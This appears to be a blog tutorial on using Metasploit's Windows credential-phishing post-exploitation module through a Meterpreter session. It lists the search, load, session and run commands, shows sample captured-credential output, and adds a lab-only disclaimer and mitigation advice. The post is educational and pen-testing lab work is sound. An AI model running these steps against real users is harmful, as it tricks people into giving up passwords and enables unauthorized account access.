July 28, 2026
Hack Remote Windows Password using Phishing Login Prompt Exploit
A post-exploitation guide showing how a fake Windows login popup can be used to capture a victim’s credentials via Meterpreter.

By Priyankachandrakar
2 min read
Introduction
Once an attacker has an active Meterpreter session on a Windows target, Metasploit includes a post-exploitation module that displays a fake Windows credential prompt to the victim. If the victim enters their username and password (believing it's a legitimate system prompt), the credentials are captured and sent back to the attacker.
⚠️ Disclaimer: Only perform this on your own lab VMs with proper authorization. Using this against real users without consent is both unethical and illegal.
Prerequisites
This requires an active Meterpreter session — established via one of the earlier techniques (e.g., SMB delivery, HTTP payload delivery).
Step 1: Search for the phishing module
search post windows phishsearch post windows phishStep 2: Load the module
use 0use 0Module used:
post/windows/gather/phish_windows_credentialspost/windows/gather/phish_windows_credentialsStep 3: Confirm active session
sessionssessionsConfirms a session is active and ready.
Step 4: Run the module
set SESSION 1
runset SESSION 1
runThis displays a fake login popup on the victim's screen and prompts them to enter their password.
Step 5: Victim sees the popup
Output on the attacker side:
Waiting on the user to fill in his credentials...Waiting on the user to fill in his credentials...Step 6: Credentials captured
Once the victim enters their details, they appear on screen:
UserName Domain Password
shivi DESKTOP-... ****UserName Domain Password
shivi DESKTOP-... ****This confirms the username and password were successfully captured.
Mitigation
- Train users to be cautious of unexpected credential prompts, especially ones that reappear without clear context.
- Use multi-factor authentication so a captured password alone isn't enough to gain access.
- Deploy EDR/antivirus tools capable of detecting known credential-phishing post-exploitation modules.
- Restrict and monitor which processes can spawn UI prompts on user desktops.
Conclusion
This module demonstrates how a compromised machine can be used to socially engineer a user into voluntarily giving up their credentials — a reminder that technical compromise plus a convincing prompt can be just as effective as a network-level attack. Credential hygiene and user awareness training remain key defenses against this class of technique.
About the Author
Hi, I'm Priyanka Chandrakar — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.
I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.
Connect with Me
💻 GitHub: https://github.com/priyankachandrakar
🔗 LinkedIn: https://www.linkedin.com/in/priyankachandrakar
𝕏 X (Twitter): https://x.com/priyankach76806
✍️ Medium: https://medium.com/@priyankachandrakar
Enjoyed This Article?
If you found this walkthrough helpful, please consider:
👏 Clapping for the article
💬 Sharing your thoughts in the comments
🔖 Saving it for future reference
🔄 Sharing it with fellow cybersecurity enthusiasts
👤 Following me on Medium for more practical cybersecurity content.
Topics I Write About
- OSCP Preparation
- Ethical Hacking
- Penetration Testing
- Windows Enumeration
- Linux Privilege Escalation
- Active Directory Security
- SMB Enumeration
- Web Application Security
- Bug Bounty Hunting
- Metasploit Framework
- Nmap & Network Enumeration
- Red Teaming
- Capture The Flag (CTF) Write-ups
- Cybersecurity Research
Thank You!
Thank you for taking the time to read this article.
I hope it helped you better understand the and how Metasploit can be used in a safe, controlled lab environment for learning penetration testing concepts.
Keep learning, keep practicing, and always hack responsibly — with proper authorization. 🚀
…
#OSCP #CyberSecurity #EthicalHacking #PenetrationTesting #SMB #Enumeration #WindowsSecurity #ActiveDirectory #BugBounty #InfoSec #RedTeam #KaliLinux #CyberDefense